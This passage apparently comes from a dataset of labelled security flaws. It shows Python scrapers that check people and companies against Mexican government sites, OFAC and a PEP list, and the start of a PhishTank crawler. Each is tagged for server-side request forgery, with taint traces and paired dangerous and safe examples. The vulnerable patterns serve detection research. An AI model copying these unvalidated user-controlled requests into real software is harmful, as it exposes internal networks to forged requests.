\"http://diariooficial.gob.mx/busqueda_detalle.php?vienede=avanzada&busqueda_cuerpo=C&BUSCAR_EN=C&textobusqueda=\"\n terms_to_search = term\n text_type = \"&TIPO_TEXTO=Y\"\n\n date_url = \"&dfecha=\"\n\n dof_initial_day = from_date_minus_ten_years[2]\n extra1 = \"%2F\"\n dof_initial_month = from_date_minus_ten_years[1]\n extra2 = \"%2F\"\n dof_initial_year = from_date_minus_ten_years[0]\n\n until = \"&choosePeriodDate=D&hfecha=\"\n\n dof_final_day = date[2]\n extra3 = \"%2F\"\n dof_final_month = date[1]\n extra4 = \"%2F\"\n dof_final_year = date[0]\n\n extra5 = \"&orga%5B%5D=TODOS%2C0\"\n\n # queryURL = web + terms_to_search + text_type + date_url + dof_initial_day + extra1 + dof_initial_month + extra2 + dof_initial_year + until + dof_final_day + extra3 + dof_final_month + extra4 + dof_final_year + extra5\n queryURL = web + term\n\n print(queryURL)\n\n r = requests.get(queryURL, headers=headers)\n r.encoding = 'utf-8'\n if r.status_code == 200:\n text = r.text\n try:\n bsObj = BeautifulSoup(text, \"html.parser\")\n # table = bsObj.find(\"table\", {\"id\":\"tablaGuardar\"})\n # form = table.find(\"form\", {\"name\":\"formbus\"})\n tables = bsObj.findAll(\"td\", {\"class\": \"txt_azul\"})\n except AttributeError as e:\n response_data = {}\n response_data['resultado'] = 'no'\n response_data['fuente'] = queryURL\n return []\n # return response_data['resultado'], response_data['fuente']\n # return \"Error: There was no table with id: tablaGuardar found in DOF\"\n\n # Match a string like:\n # 1 - 10 de 21786\n # 0 - 0 DE 0\n # match_string_w_number_of_results = re.search(\n # r\"[0-9] - [0-9]* [d|D][e|E] [0-9]*\",\n # str(form)\n # )\n\n # # Create an array with the '1 - 10 de 21786' result divided by spaces\n # split_string_with_results = None if match_string_w_number_of_results is None else match_string_w_number_of_results.group(0).split(\" \")\n # total_dof_results = 0 if split_string_with_results is None else int(split_string_with_results[4])\n tables = tables[2:]\n result = []\n for table in tables:\n response_data = {}\n response_data['date'] = table.find('b', '').get_text()\n text = table.find('span', {\"class\": \"txt_azul\"})\n a_url = table.find('a', {\"class\": \"\"}, href=True)\n response_data['text'] = text.get_text()\n response_data['url'] = a_url['href']\n # print('hola', table.find('b', '').get_text())\n # print('adio', table.find('a', {\"class\": \"txt_azul\"}).get_text())\n result.append(response_data)\n\n return result\n else:\n err_response = {'err': \"Connection to diariooficial.gob.mx failed\"}\n print(err_response)\n return []\n\ndef find_dof(data):\n url = buscar_en_diario_oficial_de_la_federacion(data)\n # print(url)\n if len(url) <= 0:\n status = 0\n else:\n status = 100\n\n if data.get('type') == 'moral':\n mongo_handler.update_organization_dof(data.get('rfc'), status, url)\n else:\n mongo_handler.update_person_dof(data.get('rfc'), status, url)\n\n\ndef se_encuentra_en_pep_blacklist(request):\n response_data = {}\n response_data['resultado'] = 'no'\n\n tipoPersonaFiscal = request.get('type')\n\n if tipoPersonaFiscal == 'moral':\n nombre = request.get('name')\n else:\n nombre = request.get(\n 'name') + ' ' + request.get('lastName1') + ' ' + request.get('lastName2')\n\n basePepURL = \"http://www.everypolitician.org\"\n pep_country_url = basePepURL + \"/\" + \\\n unidecode.unidecode(request.get(\n 'country').lower().replace(' ', '-')) + '/'\n response_data['fuente'] = pep_country_url\n print(pep_country_url)\n r = requests.get(pep_country_url, headers=headers)\n if r.status_code == 200:\n html_doc = r.text\n soup = BeautifulSoup(html_doc, 'html.parser')\n nLink = soup.find('a', class_='avatar-unit').get('href')\n nr = requests.get(basePepURL+nLink, headers=headers)\n if nr.status_code == 200: # 'Succesful connection'\n nhtml_doc = nr.text\n nsoup = BeautifulSoup(nhtml_doc, 'html.parser')\n peps = nsoup.find_all(\"div\", class_=\"person-card__primary\")\n for pep in peps:\n name = pep.find('h3').string.lower().replace(\" \", \"\")\n description = pep.find('p').string.replace(\n \" \", \"\")\n description = description.split(' — ')\n if name == nombre.lower().replace(\" \", \"\"):\n print(name)\n print(description[0])\n print(description[1])\n response_data['resultado'] = 'si'\n response_data['fuente'] = basePepURL+nLink\n response_data['party'] = description[0]\n response_data['state'] = description[1]\n break\n else:\n print('Failed connection to PEP source')\n\n return response_data, response_data['fuente']\n\n else:\n response_data['error'] = \"El nombre del país solicitado está mal escrito o no se encuentra en http://www.everypolitician.org/\"\n return response_data['resultado'], response_data['fuente']\n\n\ndef find_pep(data):\n resultado, url = se_encuentra_en_pep_blacklist(data)\n res = []\n\n if resultado['resultado'] == \"no\":\n status = 0\n else:\n status = 100\n res = [{\n \"url\": url,\n \"text\": resultado[\"state\"],\n \"date\": resultado[\"party\"]\n }]\n\n if data.get('type') == 'moral':\n mongo_handler.update_organization_pep(data.get('rfc'), status, res)\n else:\n mongo_handler.update_person_pep(data.get('rfc'), status, res)\n\ndef se_encuentra_en_ofac_blacklist(request):\n tipoPersonaFiscal = request.get('type')\n if headless_mode:\n chrome_options.add_argument('--disable-extensions')\n chrome_options.add_argument('--headless')\n chrome_options.add_argument('--disable-gpu')\n chrome_options.add_argument('--no-sandbox')\n chrome_options.add_argument(\n \"user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\")\n chrome_options.add_argument('window-size=1200x700')\n basePage = 'https://sanctionssearch.ofac.treas.gov/'\n response_data = {}\n response_data['resultado'] = 'no'\n response_data['fuente'] = basePage\n # Campos de nombre\n if tipoPersonaFiscal == 'moral':\n nombreCompleto = request.get('name')\n else:\n nombreCompleto = request.get(\n 'name') + ' ' + request.get('lastName1') + ' ' + request.get('lastName2')\n driver = webdriver.Chrome(chrome_options=chrome_options)\n driver.get(basePage)\n\n driver.find_element_by_xpath(\n '//input[@name=\"ctl00$MainContent$txtLastName\"]').send_keys(nombreCompleto)\n time.sleep(1)\n slider_input = driver.find_element_by_id(\n 'ctl00_MainContent_Slider1_Boundcontrol')\n slider_slider = driver.find_element_by_id('Slider1_handleImage')\n change_slider = ActionChains(driver)\n change_slider.click_and_hold(\n slider_slider).move_by_offset(-78, 0).release().perform()\n time.sleep(1)\n driver.find_element_by_xpath(\n '//input[@name=\"ctl00$MainContent$btnSearch\"]').click()\n WebDriverWait(driver, 40).until(EC.text_to_be_present_in_element(\n (By.ID, 'ctl00_MainContent_lblResults'), \"Found\"))\n\n # text_file = open(\"Output_test_scrapper.txt\", \"w\")\n # text_file.write(driver.page_source)\n # print(\"Wrote file Output_test_scrapper.txt\")\n # text_file.close()\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n if headless_mode:\n driver.quit()\n nombreCompleto = nombreCompleto.lower()\n nombreCompleto = ''.join((c for c in unicodedata.normalize(\n 'NFD', nombreCompleto) if unicodedata.category(c) != 'Mn')) # Quitar acentos\n array_nombre_completo = nombreCompleto.split()\n list_elements = soup.find_all('a', id='btnDetails')\n for element in list_elements:\n element_actual_string = element.__str__()\n ofac_name = element.string.replace(',', '').lower()\n ofac_name = ''.join((c for c in unicodedata.normalize(\n 'NFD', ofac_name) if unicodedata.category(c) != 'Mn')) # Quitar acentos\n array_ofac_nombre = ofac_name.split()\n # print('OFAC array:'+ str(array_ofac_nombre))\n # print('Nombre array:'+ str(array_nombre_completo))\n if (set(array_ofac_nombre).issubset(array_nombre_completo)):\n intersection = [\n val for val in array_ofac_nombre if val in array_nombre_completo]\n if len(intersection) >= 2:\n # We have a match\n print('Found a match in OFAC')\n found_url = ''\n for found_urlr in re.findall(r'\\\"Details\\.aspx\\?id=\\d{1,50}\\\"', element_actual_string):\n found_url += found_urlr\n break\n response_data['resultado'] = 'si'\n response_data['fuente'] = basePage + found_url[1:-1]\n break\n\n if 'si' in response_data.values():\n print('Entered ofac saving mode:')\n print(tipoPersonaFiscal)\n return response_data['resultado'], response_data['fuente']\n\n\ndef find_ofac(data):\n resultado, url = se_encuentra_en_ofac_blacklist(data)\n res = []\n\n if resultado == \"no\":\n status = 0\n else:\n status = 100\n res.append({\n 'date': '',\n 'text': 'Se encontró en la lista de OFAC',\n 'url': url\n })\n\n if data.get('type') == 'moral':\n mongo_handler.update_organization_ofac(data.get('rfc'), status, res)\n else:\n mongo_handler.update_person_ofac(data.get('rfc'), status, res)\n\ndef scrape_page(soup, nombre):\n #print('Received page, will begin scraping it...')\n # response_data['resultado'] = 'no'\n links = soup.find_all(\"a\", class_=\"dxeHyperlink\")\n for link in links: # Deeper filtering\n if link.get_text().lower() == 'engroses': # Clean repetitive links\n links.remove(link)\n totalLinks = len(links)\n #print('This page has %s link(s) to scrape' % totalLinks)\n results = []\n for linkIdx, link in enumerate(links):\n response_data = {}\n articleURL = 'http://www2.scjn.gob.mx/ConsultaTematica/PaginasPub/' + \\\n link.get('href')\n #ndriver = webdriver.PhantomJS() # or add to your PATH\n #ndriver.set_window_size(1024, 768) # optional\n ndriver = webdriver.Chrome(chrome_options=chrome_options)\n ndriver.get(articleURL)\n articleSoup = BeautifulSoup(ndriver.page_source, 'html.parser')\n infoTables = articleSoup.find_all('table')\n tableText = ''\n allTds = []\n\n for table in infoTables:\n tempTds = table.find_all('td')\n for tempTd in tempTds:\n allTds.append(tempTd)\n currentTable = 0\n for td in allTds:\n currentTable += 1\n if isinstance(td, bs4.element.ResultSet):\n continue\n else:\n if currentTable == 2:\n # print('date', td.get_text())\n response_data['date'] = td.get_text()\n if currentTable == 4:\n # print('text', td.get_text())\n response_data['text'] = td.get_text()[:90] + '...'\n tableText += ' ' + td.get_text()\n # tableText is complete, let's now search for the person\n tableText = tableText.upper()\n nombre = nombre.upper()\n # foundNameAt = tableText.find(nombre)\n #print('Scraping '+str(linkIdx+1)+'/'+str(totalLinks))\n # if (foundNameAt != -1):\n # response_data['resultado']='si'\n response_data['url'] = articleURL\n if headless_mode:\n ndriver.quit()\n\n results.append(response_data)\n\n return results\n\n\ndef se_encuentra_en_supremacorte_blacklist(request):\n tipoPersonaFiscal = request.get('type')\n chrome_options = webdriver.ChromeOptions()\n if headless_mode:\n chrome_options.add_argument('--disable-extensions')\n chrome_options.add_argument('--headless')\n chrome_options.add_argument('--disable-gpu')\n chrome_options.add_argument('--no-sandbox')\n chrome_options.add_argument(\n \"user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\")\n chrome_options.add_argument('window-size=1200x700')\n # response_data = {}\n # response_data['resultado'] = 'no'\n # response_data['fuente'] = 'http://www2.scjn.gob.mx/ConsultaTematica/PaginasPub/TematicaPub.aspx'\n if tipoPersonaFiscal == 'moral':\n nombre = request.get('name')\n else:\n nombre = request.get(\n 'name') + ' ' + request.get('lastName1') + ' ' + request.get('lastName2')\n if nombre.lower() == \"\".lower(): # Special testing case for pagination\n nombreURL = 'Víctor'.lower().replace(' ', '%20')\n else:\n nombreURL = nombre.lower().replace(' ', '%20')\n nombreURL = urllib.parse.quote_plus(nombreURL).replace('%2520', '%20')\n pagerURL = 'http://www2.scjn.gob.mx/ConsultaTematica/PaginasPub/ResultadosPub.aspx?Tema=' + \\\n nombreURL+'&Consecutivo=0&Anio=0&TipoAsunto=0&Pertenecia=0&MinistroID=0&SecretarioID=0&MateriaID=0'\n #driver = webdriver.PhantomJS() # or add to your PATH\n #driver.set_window_size(1024, 768) # optional\n driver = webdriver.Chrome(chrome_options=chrome_options)\n #print('Attempting to connect to scjn.gob.mx...')\n driver.get(pagerURL)\n #print('Connection succesful.')\n pagerSoup = BeautifulSoup(driver.page_source, 'html.parser')\n pagerElement = driver.find_element_by_xpath(\n '//*[@id=\"ctl00_MainContentPlaceHolder_UpdatePanelAccionInconstitucionalidad\"]/div[2]/table/tbody/tr[2]/td').get_attribute('innerHTML')\n if pagerElement.strip(' \\t\\n\\r') == '':\n print('No entries found in scjn.gob.mx')\n if headless_mode:\n driver.quit()\n return []\n else:\n numberOfPages = int(pagerElement.strip(' \\t\\n\\r').split()[-1])\n #print('Number of pages:'+str(numberOfPages))\n for page in range(numberOfPages):\n # if response_data['resultado']=='si':\n # break\n # else:\n if page == 0:\n result = scrape_page(pagerSoup, nombre)\n else: # Go to next page\n try:\n nextPageButton = driver.find_element_by_xpath(\n '//*[@id=\"ctl00_MainContentPlaceHolder_pagerGridConsulta1\"]/tbody/tr/td/table/tbody/tr/td[17]/img')\n nextPageButton.click()\n #print('Clicking on element to request next page...')\n driver.save_screenshot('waiting.png')\n try:\n #print('Waiting for next page to load...')\n # for i in range(60):\n # driver.implicitly_wait(1)\n # new_screenshot_path = 'waiting_%s.png'%i\n # print(new_screenshot_path)\n # driver.save_screenshot(new_screenshot_path)\n WebDriverWait(driver, 40).until(\n EC.invisibility_of_element_located((By.XPATH, '//*[@id=\"ctl00_MainContentPlaceHolder_loadingPanelConsultaAsuntos\"]/tbody/tr')))\n except:\n print('Connection to scjn.gob.mx timed out.')\n finally:\n driver.save_screenshot('afterwait.png')\n #print('Loaded next page')\n pagerSoup = BeautifulSoup(\n driver.page_source, 'html.parser')\n #print('*'*50)\n result = scrape_page(pagerSoup, nombre)\n except NoSuchElementException as e:\n print(e)\n if headless_mode:\n driver.quit()\n\n return result\n\n\ndef find_court(data):\n url = se_encuentra_en_supremacorte_blacklist(data)\n\n if len(url) <= 0:\n status = 0\n else:\n status = 100\n\n if data.get('type') == 'moral':\n mongo_handler.update_organization_court(data.get('rfc'), status, url)\n else:\n mongo_handler.update_person_court(data.get('rfc'), status, url)\n\ndef search_csv(name, type_):\n name_files = [\"Cancelados.csv\", \"Condonadosart146BCFF.csv\", \"Condonadosart21CFF.csv\", \"Condonadosart74CFF.csv\", \"CondonadosporDecreto.csv\",\n \"Eliminados.csv\", \"Exigibles.csv\", \"Firmes.csv\", \"No_localizados.csv\", \"Retornoinversiones.csv\", \"Sentencias.csv\"]\n list_json = []\n for x, file_ in enumerate(name_files):\n output_json = {}\n df = pd.read_csv(file_, encoding='latin1')\n df.set_index(type_, inplace=True)\n columns = df.columns\n try:\n for i, content in enumerate(df.loc[name]):\n if not pd.isna(content):\n column = str(columns[i])\n if len(column) < 65:\n content = str(content)\n content = unidecode.unidecode(content)\n column = unidecode.unidecode(column)\n column = column.replace(\" \", \"_\")\n output_json[column] = content\n except:\n print()\n if output_json:\n output_json['nombre_documento'] = name_files[x]\n output_json[type_] = name\n list_json.append(output_json)\n return list_json\n\ndef find_sat(data):\n res = search_csv(data.get('rfc'), 'RFC')\n url = []\n\n for r in res:\n url.append({\n 'date': r['FECHAS_DE_PRIMERA_PUBLICACION'],\n 'text': r['SUPUESTO'],\n 'url': 'http://omawww.sat.gob.mx/cifras_sat/Paginas/datos/vinculo.html?page=ListCompleta69.html'\n })\n\n if len(res) == 0:\n status = 0\n else:\n status = 100\n\n if data.get('type') == 'moral':\n mongo_handler.update_organization_sat(data.get('rfc'), status, url)\n else:\n mongo_handler.update_person_sat(data.get('rfc'), status, url)\n\ndef find_rfc(data):\n if headless_mode:\n chrome_options.add_argument('--disable-extensions')\n chrome_options.add_argument('--headless')\n chrome_options.add_argument('--disable-gpu')\n chrome_options.add_argument('--no-sandbox')\n chrome_options.add_argument(\n \"user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\")\n chrome_options.add_argument('window-size=1200x700')\n basePage = 'https://www.mi-rfc.com.mx/consulta-rfc-homoclave'\n driver = webdriver.Chrome(chrome_options=chrome_options)\n driver.get(basePage)\n birth = data['birthdate'].split('-')\n months = ['Enero', 'Febrero', 'Marzo', 'Abril', 'Mayo', 'Junio', 'Julio',\n 'Agosto', 'Septiembre', 'Octubre', 'Noviembre', 'Diciembre']\n\n driver.find_element_by_xpath(\n '//input[@id=\"nameInput\"]').send_keys(data['name'])\n driver.find_element_by_xpath(\n '//input[@id=\"fatherSurnameInput\"]').send_keys(data['lastName1'])\n driver.find_element_by_xpath(\n '//input[@id=\"motherSurnameInput\"]').send_keys(data['lastName2'])\n driver.find_element_by_xpath(\n '//select[@name=\"birth_day\"]').send_keys(birth[0])\n driver.find_element_by_xpath(\n '//select[@name=\"birth_month\"]').send_keys(months[int(birth[1])-1])\n driver.find_element_by_xpath(\n '//select[@name=\"birth_year\"]').send_keys(birth[2])\n\n driver.find_element_by_xpath('//a[@class=\"button form-button\"]').click()\n\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n driver.quit()\n rfc = soup.find('span', {'class': 'rfc'}).getText()\n\n return rfc\n\ndef search(data):\n type = data['type']\n print(type)\n \n if type == 'fisica':\n rfc = find_rfc(data)\n else:\n rfc = data['rfc']\n\n for ent in data.get('entities'):\n\n data_fi = {\n \"name\": ent[0][0],\n \"lastName1\": ent[0][1],\n \"lastName2\": ent[0][2],\n \"birthdate\": ent[1],\n \"country\": data.get('addressCountry'),\n \"user_id\": data.get('user_id'),\n \"type\": 'fisica'\n }\n search(data_fi)\n\n if data.get('address') is None:\n data['address'] = ''\n if data.get('commercialTurn') is None:\n data['commercialTurn'] = ''\n if data.get('constitutionDate') is None:\n data['constitutionDate'] = ''\n if data.get('legalRepresentative') is None:\n data['legalRepresentative'] = ''\n if data.get('legalPosition') is None:\n data['legalPosition'] = ''\n if data.get('legalEmail') is None:\n data['legalEmail'] = ''\n if data.get('legalEmail') is None:\n data['legalEmail'] = ''\n if data.get('addressStreet') is None:\n data['addressStreet'] = ''\n if data.get('addressColony') is None:\n data['addressColony'] = ''\n if data.get('addressMunicipality') is None:\n data['addressMunicipality'] = ''\n if data.get('addressDelegation') is None:\n data['addressDelegation'] = ''\n if data.get('addressCity') is None:\n data['addressCity'] = ''\n if data.get('addressState') is None:\n data['addressState'] = ''\n if data.get('addressEntity') is None:\n data['addressEntity'] = ''\n if data.get('addressCountry') is None:\n data['addressCountry'] = ''\n if data.get('addressCP') is None:\n data['addressCP'] = ''\n if data.get('addressPhone') is None:\n data['addressPhone'] = ''\n if data.get('addressEmail') is None:\n data['addressEmail'] = ''\n if data.get('exteriorNum') is None:\n data['exteriorNum'] = ''\n if data.get('interiorNum') is None:\n data['interiorNum'] = ''\n if data.get('legalEmail') is None:\n data['legalEmail'] = ''\n if data.get('representatives') is None:\n data['representatives'] = []\n if data.get('corporateStructure') is None:\n data['corporateStructure'] = []\n if data.get('shareStructure') is None:\n data['shareStructure'] = []\n if data.get('file_type') is None:\n data['file_type'] = ''\n if data.get('file_url') is None:\n data['file_url'] = ''\n if data.get('email') is None:\n data['email'] = ''\n if data.get('ocupation') is None:\n data['ocupation'] = ''\n if data.get('twitter_account') is None:\n data['twitter_account'] = ''\n if data.get('curp') is None:\n data['curp'] = ''\n\n data['rfc'] = rfc\n data['percentage'] = 0\n if type == 'moral':\n if not mongo_handler.check_if_organization_exists(rfc):\n mongo_handler.create_organization(data)\n else:\n mongo_handler.update_organization(data)\n elif type == 'fisica':\n if not mongo_handler.check_if_person_exists(rfc):\n mongo_handler.create_person(data)\n else:\n mongo_handler.update_person(data)\n\n threads = []\n\n # find_rfc(data)\n print('SAT')\n threads.append(threading.Thread(target=find_sat, args=(data,)))\n # find_sat(data)\n print('Supreme Court')\n threads.append(threading.Thread(target=find_court, args=(data,)))\n # find_court(data)\n print('OFAC')\n threads.append(threading.Thread(target=find_ofac, args=(data,)))\n # find_ofac(data)\n print('PEP')\n threads.append(threading.Thread(target=find_pep, args=(data,)))\n # find_pep(data)\n print('Diaro Oficial')\n threads.append(threading.Thread(target=find_dof, args=(data,)))\n\n for thread in threads:\n thread.start()\n\n for thread in threads:\n thread.join()\n\n threads = []\n\n # find_license(data)\n print('Cedulas Profesionales')\n threads.append(threading.Thread(target=find_license, args=(data,)))\n # find_dof(data)\n print('Newspapers')\n threads.append(threading.Thread(target=find_news, args=(data,)))\n # find_news(data)\n print('ONU')\n threads.append(threading.Thread(target=find_onu, args=(data,)))\n if data.get('twitter_account') is not None:\n print('Twitter')\n threads.append(threading.Thread(target=find_social, args=(data,)))\n else:\n data['twitter']['status'] = 0\n threads.append(threading.Thread(target=find_social, args=(data,)))\n # find_social(data)\n\n for thread in threads:\n thread.start()\n\n for thread in threads:\n thread.join()\n\n # find_onu(data)\n\n if type == 'moral':\n mongo_handler.update_score_organization(rfc)\n elif type == 'fisica':\n mongo_handler.update_score_person(rfc)\n\n return jsonify({\n 'result': 'completed'\n })\n\n\ndef create(data):\n name = data['name']\n type = data['type']\n\n print(\"CREATE\", json.dumps(data, indent=2))\n\n if type == 'fisica':\n rfc = find_rfc(data)\n else:\n rfc = data['rfc']\n\n for ent in data.get('entities'):\n\n data_fi = {\n \"name\": ent[0][0],\n \"lastName1\": ent[0][1],\n \"lastName2\": ent[0][2],\n \"birthdate\": ent[1],\n \"country\": data.get('addressCountry'),\n \"user_id\": data.get('user_id'),\n \"type\": 'fisica'\n }\n create(data_fi)\n\n if data.get('address') is None:\n data['address'] = ''\n if data.get('commercialTurn') is None:\n data['commercialTurn'] = ''\n if data.get('constitutionDate') is None:\n data['constitutionDate'] = ''\n if data.get('legalRepresentative') is None:\n data['legalRepresentative'] = ''\n if data.get('legalPosition') is None:\n data['legalPosition'] = ''\n if data.get('legalEmail') is None:\n data['legalEmail'] = ''\n if data.get('legalEmail') is None:\n data['legalEmail'] = ''\n if data.get('addressStreet') is None:\n data['addressStreet'] = ''\n if data.get('addressColony') is None:\n data['addressColony'] = ''\n if data.get('addressMunicipality') is None:\n data['addressMunicipality'] = ''\n if data.get('addressDelegation') is None:\n data['addressDelegation'] = ''\n if data.get('addressCity') is None:\n data['addressCity'] = ''\n if data.get('addressState') is None:\n data['addressState'] = ''\n if data.get('addressEntity') is None:\n data['addressEntity'] = ''\n if data.get('addressCountry') is None:\n data['addressCountry'] = ''\n if data.get('addressCP') is None:\n data['addressCP'] = ''\n if data.get('addressPhone') is None:\n data['addressPhone'] = ''\n if data.get('addressEmail') is None:\n data['addressEmail'] = ''\n if data.get('exteriorNum') is None:\n data['exteriorNum'] = ''\n if data.get('interiorNum') is None:\n data['interiorNum'] = ''\n if data.get('legalEmail') is None:\n data['legalEmail'] = ''\n if data.get('representatives') is None:\n data['representatives'] = []\n if data.get('corporateStructure') is None:\n data['corporateStructure'] = []\n if data.get('shareStructure') is None:\n data['shareStructure'] = []\n if data.get('file_type') is None:\n data['file_type'] = ''\n if data.get('file_url') is None:\n data['file_url'] = ''\n if data.get('email') is None:\n data['email'] = ''\n if data.get('ocupation') is None:\n data['ocupation'] = ''\n if data.get('twitter_account') is None:\n data['twitter_account'] = ''\n if data.get('curp') is None:\n data['curp'] = ''\n\n data['rfc'] = rfc\n data['percentage'] = 0\n if type == 'moral':\n if not mongo_handler.check_if_organization_exists(rfc):\n mongo_handler.create_organization(data)\n else:\n mongo_handler.update_organization(data)\n elif type == 'fisica':\n if not mongo_handler.check_if_person_exists(rfc):\n mongo_handler.create_person(data)\n else:\n mongo_handler.update_person(data)\n\n return jsonify({\n 'result': 'completed'\n })\n\n\ndef update_all():\n organizations = mongo_handler.list_organization().json\n people = mongo_handler.list_person().json\n\n # threads = []\n\n for organization in organizations[5]:\n organization['type'] = 'moral'\n search(organization)\n # threads.append(threading.Thread(target=search, args=(organization,)))\n for person in people[5]:\n person['type'] = 'fisica'\n search(person)\n # threads.append(threading.Thread(target=search, args=(person,)))\n\n # for thread in threads:\n # thread.start()\n #\n # for thread in threads:\n # thread.join()\n\n return jsonify({\n 'result': 'completed'\n })", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 764, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 764, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 764, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "lower"}}, {"lineNo": 764, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "replace"}}, {"lineNo": 764, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "unidecode.unidecode"}}, {"lineNo": 768, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "0a41f9f2d8bbe5585b720b9fb095932fec7616db3b096a2c68c2f8990bbdc3ee", "license": {"spdx": ["MIT"], "repo": "tzamalisp/saint-open-source-tool-for-cyberthreats-monitoring", "path": "back-end/threats_monitoring/phishtank-v1.py", "repo_head_hexsha": "c30e6da5358555d06413541b6d3893c62a475368", "stack_hexsha": "3658221d9474f05e6d8f7310d9188e1fef26318e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 77, "entireCode": "# general libraries\nimport time\nfrom datetime import datetime\nimport pandas as pd\n\n# crawling libraries\nimport urllib.request\nfrom urllib.error import URLError, HTTPError, ContentTooShortError\nimport itertools\n\n# scraping libraries\nfrom bs4 import BeautifulSoup\nfrom lxml.html import fromstring, tostring\nimport re\nimport cssselect\nfrom pprint import pprint\n\n\n# MongoDB libraries\n\nimport pymongo\nimport json\nfrom pymongo import MongoClient\n\nimport csv\n\nprint('phishtank is running....')\n\n\n# connect to database\nconnection = MongoClient('XXX.XXX.XXX.XXX', 27017)\ndb = connection.admin\ndb.authenticate('xxxxxx', 'xxxXXXxxxXX')\ndbThreats = connection.threats\n\nprint(\"Database connection successful..\")\nprint()\n\n\n\n# getting timestamp in UTC in Microsecond accuracy\nprint(\"Time in UTC:\")\nts = datetime.utcnow().timestamp()\nprint(ts)\nvalueDt = datetime.fromtimestamp(ts)\ndateTimeMongo = valueDt.strftime('%Y-%m-%d %H:%M:%S')\nprint(valueDt)\ndateTimeMongoUTC = datetime.utcnow()\nprint(dateTimeMongoUTC)\n\nprint()\n\n\n\n# parsing {0} to the string for iteration\nindicator = 'https://www.phishtank.com/phish_search.php?page={0}&active=y&verified=u'\n\nindicator1 = 'https://www.phishtank.com/phish_detail.php?phish_id=5489227'\n\nindicator2 = 'http://httpstat.us/500'\n\nindicator3 = 'https://www.meetup.com/'\n\nindicator4 = 'https://hackerone.com/directory?query=type%3Ahackerone&sort=resolved_reports_closed%3Adescending&page=1'\n\nindicator5 = 'https://www.phishtank.com/phish_search.php?page=300&active=y&verified=u'\n\n\n# ----------------------------------------------------------------------------------------------------\n\n# function for downloading web page\ndef download(url, num_retries=2, user_agent='giorgos93', charset='utf-8'):\n print('Downloading Page:', url)\n request = urllib.request.Request(url)\n request.add_header('User-agent', user_agent)\n try:\n html = urllib.request.urlopen(request).read()\n except (URLError, HTTPError, ContentTooShortError) as e:\n print('Download error:', e.reason)\n html = None\n if num_retries > 0:\n if hasattr(e, 'code') and 500 <= e.code < 600:\n # recursively retry 5xx HTTP errors\n time.sleep(5)\n return download(url, num_retries - 1)\n return html\n\n# ----------------------------------------------------------------------------------------------------\n\n# function for getting ID links for further processing\ndef getLinks(html):\n # url = urllib.request.urlopen(html)\n soup = BeautifulSoup(html, 'html5lib')\n possible_links = soup.find_all('a')\n\n htmlLinks = []\n\n for link in possible_links:\n if link.has_attr('href'):\n if link.attrs['href'].startswith(\"phish_detail.php?phish_id=\"):\n linkDefault = 'https://www.phishtank.com/'\n linkConnect = '{}{}'.format(linkDefault, link.attrs['href'])\n htmlLinks.append(linkConnect)\n #print(link.attrs['href'])\n\n return htmlLinks\n\n# ----------------------------------------------------------------------------------------------------\n\n# function for getting the content (exact Phish URL) from the ID page\ndef getContentItemID(url, num_retries=2, user_agent='giorgos94', charset='utf-8'):\n\n # print('Downloading Content:', url)\n request = urllib.request.Request(url)\n request.add_header('User-agent', user_agent)\n\n contentFromList = ''\n\n try:\n html = urllib.request.urlopen(request).read()\n soup = BeautifulSoup(html, 'html5lib')\n\n # soupPretty = soup.prettify()\n #\n # pprint(soupPretty)\n\n valuesList = soup.find_all('b')\n\n if valuesList[1] != '':\n contentFromList = valuesList[1].text\n else:\n contentFromList = None\n\n except (URLError, HTTPError, ContentTooShortError) as e:\n print('Download error:', e.reason)\n html = None\n if num_retries > 0:\n if hasattr(e, 'code') and 500 <= e.code < 600:\n # recursively retry 5xx HTTP errors\n time.sleep(5)\n return download(url, num_retries - 1)\n\n return contentFromList\n\n# ----------------------------------------------------------------------------------------------------\n\n# function for crawling the Phishtank website\ndef crawl_site(url, max_errors=5):\n\n print()\n\n num_errors = 